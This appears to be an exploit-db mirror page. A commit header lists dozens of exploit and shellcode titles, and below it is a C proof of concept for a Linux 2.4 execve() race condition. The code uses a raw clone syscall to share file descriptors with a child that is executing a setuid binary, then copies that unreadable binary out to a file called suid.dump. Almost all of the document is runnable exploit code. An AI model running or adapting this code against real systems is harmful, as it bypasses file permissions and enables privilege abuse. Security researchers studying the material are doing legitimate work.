exploit-db-mirror/exploits/linux/local/22840.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

157 lines
No EOL
3.4 KiB
C

/*
source: https://www.securityfocus.com/bid/8042/info
A race condition vulnerability has been discovered in the Linux execve() system call, affecting the 2.4 kernel tree. The problem lies in the atomicity of placing a target executables file descriptor within the current process descriptor and executing the file.
An attacker could potentially exploit this vulnerability to gain read access to a setuid binary that would otherwise be unreadable. Although unconfirmed, it may also be possible for an attacker to write code to a target executable, making it theoretically possible to execute arbitrary code with elevated privileges.
*/
/****************************************************************
* *
* Linux 2.4.x suid exec/file read race proof of concept *
* by IhaQueR *
* *
****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <asm/page.h>
void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}
printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}
int child(char **av)
{
int fd;
printf("\nChild running pid %d", getpid());
fflush(stdout);
usleep(100000);
execvp(av[0], av + 1);
printf("\nFatal child exit\n");
fflush(stdout);
exit(0);
}
void exitus(int v)
{
printf("\nParent terminating (child exited)\n\n");
fflush(stdout);
exit(129);
}
void usage(const char *name)
{
printf("\nSuid exec dumper by IhaQueR\n");
printf("\nUSAGE:\t%s executable [args...]", name);
printf("\n\n");
fflush(stdout);
exit(0);
}
int main(int ac, char **av)
{
int p = 0, fd = 0;
struct stat st, st2;
if (ac < 2)
usage(av[0]);
av[0] = (char *) strdup(av[1]);
av[1] = (char *) basename(av[1]);
p = stat(av[0], &st2);
if (p)
fatal("stat");
signal(SIGCHLD, &exitus);
printf("\nParent running pid %d", getpid());
fflush(stdout);
__asm__ (
"pusha \n"
"movl $0x411, %%ebx \n"
"movl %%esp, %%ecx \n"
"movl $120, %%eax \n"
"int $0x80 \n"
"movl %%eax, %0 \n"
"popa"
: : "m"(p)
);
if (p < 0)
fatal("clone");
if (!p)
child(av);
printf("\nParent stat loop");
fflush(stdout);
while (1) {
p = fstat(3, &st);
if (!p) {
if (st.st_ino != st2.st_ino)
fatal("opened wrong file!");
p = lseek(3, 0, SEEK_SET);
if (p == (off_t) - 1)
fatal("lseek");
fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
0755);
if (fd < 0)
fatal("open");
while (1) {
char buf[8 * PAGE_SIZE];
p = read(3, buf, sizeof(buf));
if (p <= 0)
break;
write(fd, buf, p);
}
printf("\nParent success stating:");
fflush(stdout);
printf("\nuid %d gid %d mode %.5o inode %u size %u",
st.st_uid, st.st_gid, st.st_mode, st.st_ino,
st.st_size);
fflush(stdout);
printf("\n");
fflush(stdout);
exit(1);
}
}
printf("\n\n");
fflush(stdout);
return 0;
}